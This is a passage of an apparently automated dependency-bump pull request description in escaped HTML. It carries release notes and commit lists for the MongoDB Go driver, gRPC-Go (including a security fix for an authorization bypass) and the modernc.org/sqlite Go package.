href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2378\"\u003emongodb/mongo-go-driver#2378\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3917 Replace curl | sh with go install in etc/golangci-lint.sh by \u003ca href=\"https://github.com/prestonvasquez\"\u003e\u003ccode\u003e@​prestonvasquez\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2391\"\u003emongodb/mongo-go-driver#2391\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3829 Cleanup skip list. by \u003ca href=\"https://github.com/qingyang-hu\"\u003e\u003ccode\u003e@​qingyang-hu\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2392\"\u003emongodb/mongo-go-driver#2392\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3884 Use gpg verification for libmongocrypt windows build variant by \u003ca href=\"https://github.com/prestonvasquez\"\u003e\u003ccode\u003e@​prestonvasquez\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2404\"\u003emongodb/mongo-go-driver#2404\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3868 Update extended bson cases. by \u003ca href=\"https://github.com/qingyang-hu\"\u003e\u003ccode\u003e@​qingyang-hu\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2400\"\u003emongodb/mongo-go-driver#2400\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3623 Deprecate AggregateOptions Custom functionality as internal-only. by \u003ca href=\"https://github.com/linborland\"\u003e\u003ccode\u003e@​linborland\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2411\"\u003emongodb/mongo-go-driver#2411\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMove the 2125 skips to standalone container by \u003ca href=\"https://github.com/prestonvasquez\"\u003e\u003ccode\u003e@​prestonvasquez\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2421\"\u003emongodb/mongo-go-driver#2421\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3904 Add QE string prefix/suffix/substring case and diacritic insensitive prose tests by \u003ca href=\"https://github.com/prestonvasquez\"\u003e\u003ccode\u003e@​prestonvasquez\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2415\"\u003emongodb/mongo-go-driver#2415\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3937 Deprecate x/mongo/driver/session package. by \u003ca href=\"https://github.com/matthewdale\"\u003e\u003ccode\u003e@​matthewdale\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2416\"\u003emongodb/mongo-go-driver#2416\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3936 Migrate check_fmt.sh to a Go script under internal/cmd/check-fmt by \u003ca href=\"https://github.com/linborland\"\u003e\u003ccode\u003e@​linborland\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2414\"\u003emongodb/mongo-go-driver#2414\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3726 Use unmarshaling for AutoEncryptOpts in the unified spec test by \u003ca href=\"https://github.com/linborland\"\u003e\u003ccode\u003e@​linborland\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2413\"\u003emongodb/mongo-go-driver#2413\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMake capitalization of MongoDB Go Driver consistent in the README. by \u003ca href=\"https://github.com/matthewdale\"\u003e\u003ccode\u003e@​matthewdale\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2422\"\u003emongodb/mongo-go-driver#2422\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3113 Skip flaky test in commit.json. by \u003ca href=\"https://github.com/qingyang-hu\"\u003e\u003ccode\u003e@​qingyang-hu\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2435\"\u003emongodb/mongo-go-driver#2435\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGODRIVER-3559 Skip Docker Runner Tests by \u003ca href=\"https://github.com/qingyang-hu\"\u003e\u003ccode\u003e@​qingyang-hu\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2432\"\u003emongodb/mongo-go-driver#2432\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/softprops\"\u003e\u003ccode\u003e@​softprops\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2364\"\u003emongodb/mongo-go-driver#2364\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/linborland\"\u003e\u003ccode\u003e@​linborland\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2411\"\u003emongodb/mongo-go-driver#2411\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/zigzagdev\"\u003e\u003ccode\u003e@​zigzagdev\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/pull/2423\"\u003emongodb/mongo-go-driver#2423\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/mongodb/mongo-go-driver/compare/v2.6.2...v2.7.0\"\u003ehttps://github.com/mongodb/mongo-go-driver/compare/v2.6.2...v2.7.0\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eFor a full list of tickets included in this release, please see the \u003ca href=\"https://jira.mongodb.org/issues/?jql=project%3Dgodriver%20and%20fixVersion%3D2.7.0\"\u003elist of fixed issues\u003c/a\u003e.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mongodb/mongo-go-driver/commit/7d61ab3563603dd35ba3e0eab2ee0ce544a83dd7\"\u003e\u003ccode\u003e7d61ab3\u003c/code\u003e\u003c/a\u003e BUMP v2.7.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mongodb/mongo-go-driver/commit/d9593db35f17bfb724d5b74436434afcb50f391c\"\u003e\u003ccode\u003ed9593db\u003c/code\u003e\u003c/a\u003e GODRIVER-3559 Skip Docker Runner Tests (\u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/issues/2432\"\u003e#2432\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mongodb/mongo-go-driver/commit/6d0f68db630c49d96d09501f9cfa76a64c820241\"\u003e\u003ccode\u003e6d0f68d\u003c/code\u003e\u003c/a\u003e Merge release/2.6 into master (\u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/issues/2437\"\u003e#2437\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mongodb/mongo-go-driver/commit/0ff564fdfe1da0829b19a6bc8b1661f63475e814\"\u003e\u003ccode\u003e0ff564f\u003c/code\u003e\u003c/a\u003e Merge branch 'release/2.6'\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mongodb/mongo-go-driver/commit/867c9b5127c2135ea8b6d8fb7db1814d7ccd8e1e\"\u003e\u003ccode\u003e867c9b5\u003c/code\u003e\u003c/a\u003e BUMP v2.6.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mongodb/mongo-go-driver/commit/5b9065941002a19d89557901373c6c9b7db7c95a\"\u003e\u003ccode\u003e5b90659\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into merge-release/2.6-into-master-1781722303033\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mongodb/mongo-go-driver/commit/797c020f0833e2213a9b996c87181c19a52c0283\"\u003e\u003ccode\u003e797c020\u003c/code\u003e\u003c/a\u003e GODRIVER-3964: Skip CSE prose tests requiring contention (\u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/issues/2431\"\u003e#2431\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mongodb/mongo-go-driver/commit/283aa8ba8ed67be5bfb2c8d6723f06db9e7f604c\"\u003e\u003ccode\u003e283aa8b\u003c/code\u003e\u003c/a\u003e GODRIVER-3113 Skip flaky test in commit.json. (\u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/issues/2435\"\u003e#2435\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mongodb/mongo-go-driver/commit/1803b12a7304f1944d84c70531b13e9b348c9627\"\u003e\u003ccode\u003e1803b12\u003c/code\u003e\u003c/a\u003e GODRIVER-3965 fix: misleading error message type info in rewrap function (\u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/issues/2430\"\u003e#2430\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mongodb/mongo-go-driver/commit/2995aaf600491c1c11df54263239517b9dc22724\"\u003e\u003ccode\u003e2995aaf\u003c/code\u003e\u003c/a\u003e GODRIVER-3906 Exclude tls.RecordHeaderError from backpressure labels  (\u003ca href=\"https://redirect.github.com/mongodb/mongo-go-driver/issues/2417\"\u003e#2417\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/mongodb/mongo-go-driver/compare/v2.5.0...v2.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `google.golang.org/grpc` from 1.80.0 to 1.81.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/grpc/grpc-go/releases\"\u003egoogle.golang.org/grpc's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease 1.81.1\u003c/h2\u003e\n\u003ch1\u003eSecurity\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003exds/rbac: Fix a potential authorization bypass caused by incorrectly falling through URI/DNS SANs to Subject Distinguished Name (DN) when matching the authenticated principal name. With this fix, only the first non-empty identity source will be used, as per \u003ca href=\"https://github.com/grpc/proposal/blob/master/A41-xds-rbac.md\"\u003egRFC A41\u003c/a\u003e. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9111\"\u003e#9111\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eSpecial Thanks: \u003ca href=\"https://github.com/al4an444\"\u003e\u003ccode\u003e@​al4an444\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eBug Fixes\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eotel: Segregate client and server RPC information used for metrics and traces, to avoid one overwriting the other. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9081\"\u003e#9081\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eRelease 1.81.0\u003c/h2\u003e\n\u003ch1\u003eBehavior Changes\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003ebalancer/rls: Switch gauge metrics to asynchronous emission (once per collection cycle) to reduce telemetry noise and align with other gRPC language implementations. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/8808\"\u003e#8808\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eDependencies\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eMinimum supported Go version is now 1.25. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/8969\"\u003e#8969\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eBug Fixes\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003exds: Use the leaf cluster's security config for the TLS handshake instead of the aggregate cluster's config. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/8956\"\u003e#8956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etransport: Send a \u003ccode\u003eRST_STREAM\u003c/code\u003e when receiving an \u003ccode\u003eEND_STREAM\u003c/code\u003e when the stream is not already half-closed. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/8832\"\u003e#8832\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003exds: Fix ADS resource name validation to prevent a panic. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/8970\"\u003e#8970\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003eNew Features\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003egrpc/stats: Add support for custom labels in per-call metrics (\u003ca href=\"https://github.com/grpc/proposal/blob/master/A108-otel-custom-per-call-label.md\"\u003egRFC A108\u003c/a\u003e). (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9008\"\u003e#9008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003exds: Add support for Server Name Indication (SNI) and SAN validation (\u003ca href=\"https://github.com/grpc/proposal/blob/master/A101-SNI-setting-and-SNI-SAN-validation.md\"\u003egRFC A101\u003c/a\u003e). Disabled by default. To enable, set \u003ccode\u003eGRPC_EXPERIMENTAL_XDS_SNI=true\u003c/code\u003e environment variable. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9016\"\u003e#9016\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003exds: Add support to control which fields get propagated from ORCA backend metric reports to LRS load reports (\u003ca href=\"https://github.com/grpc/proposal/blob/master/A85-lrs-custom-metrics-changes.md\"\u003egRFC A85\u003c/a\u003e). Disabled by default. To enable, set \u003ccode\u003eGRPC_EXPERIMENTAL_XDS_ORCA_LRS_PROPAGATION=true\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9005\"\u003e#9005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003exds: Add metrics to track xDS client connectivity and cached resource state (\u003ca href=\"https://github.com/grpc/proposal/blob/master/A78-grpc-metrics-wrr-pf-xds.md\"\u003egRFC A78\u003c/a\u003e). (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/8807\"\u003e#8807\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003estats/otel: Enhance \u003ccode\u003egrpc.subchannel.disconnections\u003c/code\u003e metric by adding disconnection reason to the \u003ccode\u003egrpc.disconnect_error\u003c/code\u003e label (\u003ca href=\"https://github.com/grpc/proposal/blob/master/A94-subchannel-otel-metrics.md\"\u003egRFC A94\u003c/a\u003e). This provides granular insights into why subchannels are closing. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/8973\"\u003e#8973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003emem: Add \u003ccode\u003emem.Buffer.Slice()\u003c/code\u003e API to slice the buffer like a slice. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/8977\"\u003e#8977\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eSpecial Thanks: \u003ca href=\"https://github.com/ash2k\"\u003e\u003ccode\u003e@​ash2k\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003ePerformance Improvements\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003ealts: Pool read buffers to lower memory utilization when sockets are unreadable. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/8964\"\u003e#8964\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etransport: Pool HTTP/2 framer read buffers to reduce idle memory consumption. Currently limited to Linux for ALTS and non-encrypted transports (TCP, Unix). To disable, set \u003ccode\u003eGRPC_GO_EXPERIMENTAL_HTTP_FRAMER_READ_BUFFER_POOLING=false\u003c/code\u003e and report any issues. (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9032\"\u003e#9032\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc-go/commit/caf0772c2bcb8bc15d43eb53448e921f34f0b7e8\"\u003e\u003ccode\u003ecaf0772\u003c/code\u003e\u003c/a\u003e Change version from 1.81.1-dev to 1.81.1 (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9122\"\u003e#9122\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc-go/commit/6ccbeebf058ede71e43a5ac28fada2a736573215\"\u003e\u003ccode\u003e6ccbeeb\u003c/code\u003e\u003c/a\u003e Cherry-pick \u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9111\"\u003e#9111\u003c/a\u003e into v1.81.x (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9121\"\u003e#9121\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc-go/commit/b33c29e41b438e371c8504de9bdf64a80098cc29\"\u003e\u003ccode\u003eb33c29e\u003c/code\u003e\u003c/a\u003e Cherry-pick \u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9081\"\u003e#9081\u003c/a\u003e into v1.81.x (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9102\"\u003e#9102\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc-go/commit/c45fae6d06a5c192b7b96418a2bc26a96b856834\"\u003e\u003ccode\u003ec45fae6\u003c/code\u003e\u003c/a\u003e Change version to 1.81.1-dev (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9063\"\u003e#9063\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc-go/commit/cb18228317ff523e63d931b4058b0329585b7dcd\"\u003e\u003ccode\u003ecb18228\u003c/code\u003e\u003c/a\u003e Change version to 1.81.0 (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9062\"\u003e#9062\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc-go/commit/96748f973e20bbfcafa19a8bdffc85ad5da138d1\"\u003e\u003ccode\u003e96748f9\u003c/code\u003e\u003c/a\u003e Cherry-pick \u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9105\"\u003e#9105\u003c/a\u003e to 1.81.x (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9106\"\u003e#9106\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc-go/commit/91832222f0144f76527b630ca55cfea6e1aa015a\"\u003e\u003ccode\u003e9183222\u003c/code\u003e\u003c/a\u003e Cherry pick \u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9055\"\u003e#9055\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9032\"\u003e#9032\u003c/a\u003e to v1.81.x (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9095\"\u003e#9095\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc-go/commit/5cba6da4211f3b130238c792937f5921741b616a\"\u003e\u003ccode\u003e5cba6da\u003c/code\u003e\u003c/a\u003e Revert \u0026quot;deps: update dependencies for all modules (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9065\"\u003e#9065\u003c/a\u003e)\u0026quot; (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9067\"\u003e#9067\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc-go/commit/af8a9364aa7523ab24d214e9ef13e6ad64d5c5f9\"\u003e\u003ccode\u003eaf8a936\u003c/code\u003e\u003c/a\u003e deps: update dependencies for all modules (\u003ca href=\"https://redirect.github.com/grpc/grpc-go/issues/9065\"\u003e#9065\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/grpc/grpc-go/commit/cdc60dfaaadde45e16aa3c28237c0e655a722c1a\"\u003e\u003ccode\u003ecdc60df\u003c/code\u003e\u003c/a\u003e transport: optimize heap allocations in ready reader and update syscall conne...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/grpc/grpc-go/compare/v1.80.0...v1.81.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `modernc.org/sqlite` from 1.46.1 to 1.53.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://gitlab.com/cznic/sqlite/blob/master/CHANGELOG.md\"\u003emodernc.org/sqlite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eChangelog\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e2026-06-25 v1.54.0:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUnder the opt-in \u003ccode\u003e_texttotime\u003c/code\u003e DSN parameter, best-effort parse date-shaped TEXT values from columns SQLite reports with an empty declared type — aggregates and expressions over a date column (\u003ccode\u003eMAX(d)\u003c/code\u003e, \u003ccode\u003eCOALESCE(d, ...)\u003c/code\u003e, \u003ccode\u003eupper(d)\u003c/code\u003e, \u003ccode\u003ed || ''\u003c/code\u003e), subqueries, and typeless real columns (\u003ccode\u003eCREATE TABLE t(x)\u003c/code\u003e) — into \u003ccode\u003etime.Time\u003c/code\u003e, instead of delivering them as a raw string that \u003ccode\u003eScan\u003c/code\u003e cannot store into a \u003ccode\u003e*time.Time\u003c/code\u003e. The existing declared \u003ccode\u003eDATE\u003c/code\u003e/\u003ccode\u003eDATETIME\u003c/code\u003e/\u003ccode\u003eTIME\u003c/code\u003e/\u003ccode\u003eTIMESTAMP\u003c/code\u003e path is unchanged; this only adds the empty-decltype case. The conversion is strictly best-effort: a value that does not parse as a time falls through to the original string, so no \u003ccode\u003eScan\u003c/code\u003e that worked before can newly fail. \u003ccode\u003eColumnTypeScanType\u003c/code\u003e continues to report \u003ccode\u003estring\u003c/code\u003e for empty-decltype columns, since the declared type cannot prove the column is temporal. Without \u003ccode\u003e_texttotime\u003c/code\u003e the behavior is byte-for-byte unchanged. Resolves [GitLab issue \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/248\"\u003e#248\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/issues/248\"\u003ehttps://gitlab.com/cznic/sqlite/-/issues/248\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/133\"\u003e#133\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/133\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/133\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e2026-06-21 v1.53.0:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003cstrong\u003eexperimental\u003c/strong\u003e \u003ccode\u003enetbsd/amd64\u003c/code\u003e support, resolving the long-standing build break in [GitLab issue \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/246\"\u003e#246\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/issues/246\"\u003ehttps://gitlab.com/cznic/sqlite/-/issues/246\u003c/a\u003e). This target is intentionally \u003cstrong\u003enot yet listed among the supported platforms\u003c/strong\u003e in the package documentation: the port had been broken for years and is only now revived, and there is as yet no real-world experience running it under production workloads. Green CI is not the same as battle-tested — so while the full test suite (including the \u003ccode\u003epcache\u003c/code\u003e and \u003ccode\u003evec\u003c/code\u003e packages and the \u003ccode\u003e-race\u003c/code\u003e concurrency test) passes on NetBSD 10.1 / Go 1.26.3, and the entire upstream toolchain (\u003ccode\u003elibc\u003c/code\u003e, \u003ccode\u003ecc\u003c/code\u003e, \u003ccode\u003eccgo\u003c/code\u003e, \u003ccode\u003elibz\u003c/code\u003e, \u003ccode\u003elibtcl8.6\u003c/code\u003e, \u003ccode\u003elibsqlite3\u003c/code\u003e, \u003ccode\u003elibsqlite_vec\u003c/code\u003e) is green on the NetBSD CI builder, the target is offered for evaluation only. If you run NetBSD, please exercise it with your own workloads and report back via \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/246\"\u003e#246\u003c/a\u003e; the intent is to promote it to a fully supported platform after a period of broader real-world testing (on the order of a month) elapses without surprises.\u003c/li\u003e\n\u003cli\u003eImplementation notes: the previously shipped \u003ccode\u003elib/sqlite_netbsd_amd64.go\u003c/code\u003e was a stale old-generator transpile that no longer compiled (the \u003ccode\u003emu.enter\u003c/code\u003e/\u003ccode\u003emu.leave\u003c/code\u003e break in \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/246\"\u003e#246\u003c/a\u003e); it is replaced by a fresh new-generator transpile consistent with every other platform, and \u003ccode\u003emodernc.org/sqlite/vec\u003c/code\u003e (sqlite-vec) is vendored and auto-registers on netbsd. Correct operation requires the matching pinned \u003ccode\u003emodernc.org/libc\u003c/code\u003e, which carries two NetBSD-specific fixes found during this work: the \u003ccode\u003emmap(2)\u003c/code\u003e \u003ccode\u003ePAD\u003c/code\u003e-argument ABI (without it, concurrent WAL access faults with SIGBUS in the WAL-index shared memory) and a working \u003ccode\u003eabort(3)\u003c/code\u003e (the prior stub left SQLite's crash-recovery \u003ccode\u003ewritecrash\u003c/code\u003e test unable to terminate by signal). As usual, downstream modules must pin the exact \u003ccode\u003emodernc.org/libc\u003c/code\u003e version this module's \u003ccode\u003ego.mod\u003c/code\u003e pins.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/82\"\u003e#82\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/82\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/82\u003c/a\u003e), thanks Leonardo Taccari (\u003ca href=\"https://github.com/iamleot\"\u003e\u003ccode\u003e@​iamleot\u003c/code\u003e\u003c/a\u003e) and Thomas Klausner (@\u003cem\u003ewiz\u003c/em\u003e)!\u003c/li\u003e\n\u003cli\u003eAdd \u003cstrong\u003eexperimental\u003c/strong\u003e \u003ccode\u003efreebsd/386\u003c/code\u003e and \u003ccode\u003efreebsd/arm\u003c/code\u003e support. As with the \u003ccode\u003enetbsd/amd64\u003c/code\u003e target above, these two 32-bit FreeBSD ports are intentionally \u003cstrong\u003enot yet listed among the supported platforms\u003c/strong\u003e in the package documentation: \u003ccode\u003efreebsd/386\u003c/code\u003e previously shipped a stale, effectively untested SQLite 3.41 transpile, and \u003ccode\u003efreebsd/arm\u003c/code\u003e is entirely new, so neither has real-world production mileage yet. Both are now freshly transpiled at SQLite 3.53.2 consistent with every other platform, build cleanly, and pass the full test suite (core, WAL/concurrency, and the \u003ccode\u003evec\u003c/code\u003e package) on the FreeBSD CI builders; they are offered for evaluation only. If you run 32-bit FreeBSD, please exercise these targets with your own workloads and report back — the intent is to promote \u003ccode\u003efreebsd/386\u003c/code\u003e, \u003ccode\u003efreebsd/arm\u003c/code\u003e, and \u003ccode\u003enetbsd/amd64\u003c/code\u003e to fully supported platforms in a future release cycle, once a period of broader real-world testing elapses without surprises.\u003c/li\u003e\n\u003cli\u003eImplementation notes: correct operation on \u003ccode\u003efreebsd/arm\u003c/code\u003e requires the matching pinned \u003ccode\u003emodernc.org/libc\u003c/code\u003e (v1.73.4), which fixes the per-arch \u003ccode\u003emmap(2)\u003c/code\u003e \u003ccode\u003eoff_t\u003c/code\u003e encoding for 32-bit FreeBSD; without it the WAL shared-memory mapping faults with SIGBUS under concurrent access, the same class of bug found on the netbsd port. As usual, downstream modules must pin the exact \u003ccode\u003emodernc.org/libc\u003c/code\u003e version this module's \u003ccode\u003ego.mod\u003c/code\u003e pins.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/119\"\u003e#119\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/119\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/119\u003c/a\u003e), thanks Olivier Cochard-Labbé (\u003ca 